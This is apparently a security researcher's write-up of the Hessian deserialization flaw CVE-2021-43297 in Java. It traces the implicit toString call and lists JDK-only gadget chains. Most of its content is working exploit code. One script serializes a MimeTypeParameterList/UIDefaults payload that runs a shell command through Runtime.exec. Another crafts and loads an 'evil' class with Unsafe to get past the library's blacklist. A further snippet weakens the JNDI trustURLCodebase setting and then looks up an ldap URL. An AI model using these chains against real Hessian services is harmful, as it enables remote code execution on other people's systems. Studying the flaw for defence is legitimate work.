Hessian Only JDK

Hessian Only JDK

Introduction

This issue was raised in CVE-2021-43297 and is still present in the current Hessian library.

Basic Principle

In Hessian2Input$expect, there is a implicit call to the obj.toString(), which could lead to a serious of method call.

Let’s look again at how the program got to obj.toString()

In the method readObject, the deserializer will first read the first byte as the ‘tag’.

At the case C, the deserializer will call the readObjectDefinition.

Then, it will call the readString

In its default case, we will call the expect method.

Gadget Chains

So the next step is to find gadget chains beginning with toString just in JDK.

MultiUIDefaults

1
2
3
4
5
6
javax.swing.MultiUIDefaults#toString
UIDefaults#get
UIDefaults#getFromHashTable
UIDefaults$LazyValue#createValue
SwingLazyValue#createValue
javax.naming.InitialContext#doLookup()

There are two limitations in this gadget

  • The access modifier for MultiUIDefaults is default, only javax.swing can use it
  • Higher version of JDK can exploit JNDI

MimeTypeParameterList + MethodUtil

1
2
3
4
5
6
7
javax.activation.MimeTypeParameterList#toString
UIDefaults#get
UIDefaults#getFromHashTable
UIDefaults$LazyValue#createValue
SwingLazyValue#createValue
sun.reflect.misc.MethodUtil#invoke

MethodUtil is something that can invoke a method from a specific Object.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.caucho.hessian.io.SerializerFactory;
import sun.reflect.misc.MethodUtil;
import sun.swing.SwingLazyValue;

import javax.activation.MimeTypeParameterList;
import javax.swing.*;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Method;

public class main {
public static void main(String[] argc)throws Exception{

Method exec = Runtime.class.getMethod("exec", String.class);
Method invoke = MethodUtil.class.getMethod("invoke", Method.class, Object.class, Object[].class);

SwingLazyValue swingLazyValue = new SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke", new Object[]{invoke, new Object(), new Object[]{exec, Runtime.getRuntime(), new Object[]{"open -a calculator"}}});

UIDefaults uiDefaults = new UIDefaults();
uiDefaults.put("P3ngu1nW", swingLazyValue);

MimeTypeParameterList mimeTypeParameterList = new MimeTypeParameterList();
setField(mimeTypeParameterList, "parameters", uiDefaults);

serialize(mimeTypeParameterList);
deserialize();
}
public static void setField(Object obj, String fieldname, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldname);
field.setAccessible(true);
field.set(obj, value);
}
public static Object deserialize()throws IOException{
Hessian2Input h2i = new Hessian2Input(new FileInputStream("ser.bin"));
return h2i.readObject();
}
public static void serialize(Object o) throws IOException {
FileOutputStream fos = new FileOutputStream("ser.bin");
Hessian2Output h2o = new Hessian2Output(fos);
SerializerFactory sf = new SerializerFactory();
sf.setAllowNonSerializable(true);
h2o.setSerializerFactory(sf);
fos.write(0x43);
h2o.writeObject(o);
h2o.flushBuffer();
}
}

Unsafe

In hessian:4.0.63, there exists a blacklist.

So we can’t use java.lang.Runtime and TemplatesImpl

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
public static byte[] ClassByte(String cmd) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("evil");
CtMethod evil = CtNewMethod.make("public static void exp()throws Exception{ Runtime.getRuntime().exec(\"" + cmd + "\");} ", ctClass);
ctClass.addMethod(evil);
byte[] bytecode = ctClass.toBytecode();
ctClass.defrost();
return bytecode;
}
public static Object loadClass() throws Exception{
UIDefaults uiDefaults = new UIDefaults();
SwingLazyValue swingLazyValue = new SwingLazyValue("evil", "exp", new Object[0]);
uiDefaults.put("P3ngu1nW", swingLazyValue);
MimeTypeParameterList mimeTypeParameterList = new MimeTypeParameterList();
setField(mimeTypeParameterList, "parameters", uiDefaults);
return mimeTypeParameterList;
}
public static void initClass() throws Exception{
Method defineClass = Unsafe.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class, ClassLoader.class, ProtectionDomain.class);
Method invoke = MethodUtil.class.getMethod("invoke", Method.class, Object.class, Object[].class);

byte[] payload = ClassByte("open -a calculator");

Class<?> unsafeClass = Class.forName("sun.misc.Unsafe");
Field field = unsafeClass.getDeclaredField("theUnsafe");
field.setAccessible(true);
Unsafe unsafe = (Unsafe) field.get(null);

SwingLazyValue swingLazyValue = new SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke", new Object[]{invoke, new Object(), new Object[]{defineClass, unsafe, new Object[]{"evil", payload, 0, payload.length}}});

UIDefaults uiDefaults = new UIDefaults();
uiDefaults.put("P3ngu1nW", swingLazyValue);

MimeTypeParameterList mimeTypeParameterList = new MimeTypeParameterList();
setField(mimeTypeParameterList, "parameters", uiDefaults);
}

JNDI

We can use java.lang.System.setProperty to modify com.sun.jndi.ldap.object.trustURLCodebase to break the JNDI restriction.

1
2
Method setProperty = Class.forName("java.lang.System").getDeclaredMethod("setProperty", String.class, String.class);
SwingLazyValue slz = new SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke", new Object[]{invokeMethod, new Object(), new Object[]{setProperty, new Object(), new Object[]{"com.sun.jndi.ldap.object.trustURLCodebase", "true"}}});
1
2
Method doLookup = Class.forName("javax.naming.InitialContext").getDeclaredMethod("doLookup", String.class);
SwingLazyValue slz = new SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke", new Object[]{invokeMethod, new Object(), new Object[]{doLookup, new Object(), new Object[]{"ldap://127.0.0.1:8099/aaa"}}});

PKCS9Attributes + BCEL

ProxyLazyValue + DumpBytecode + System.load

XSLT Transform

Reference

https://p4d0rn.gitbook.io/java/serial-journey/hessian_only_jdk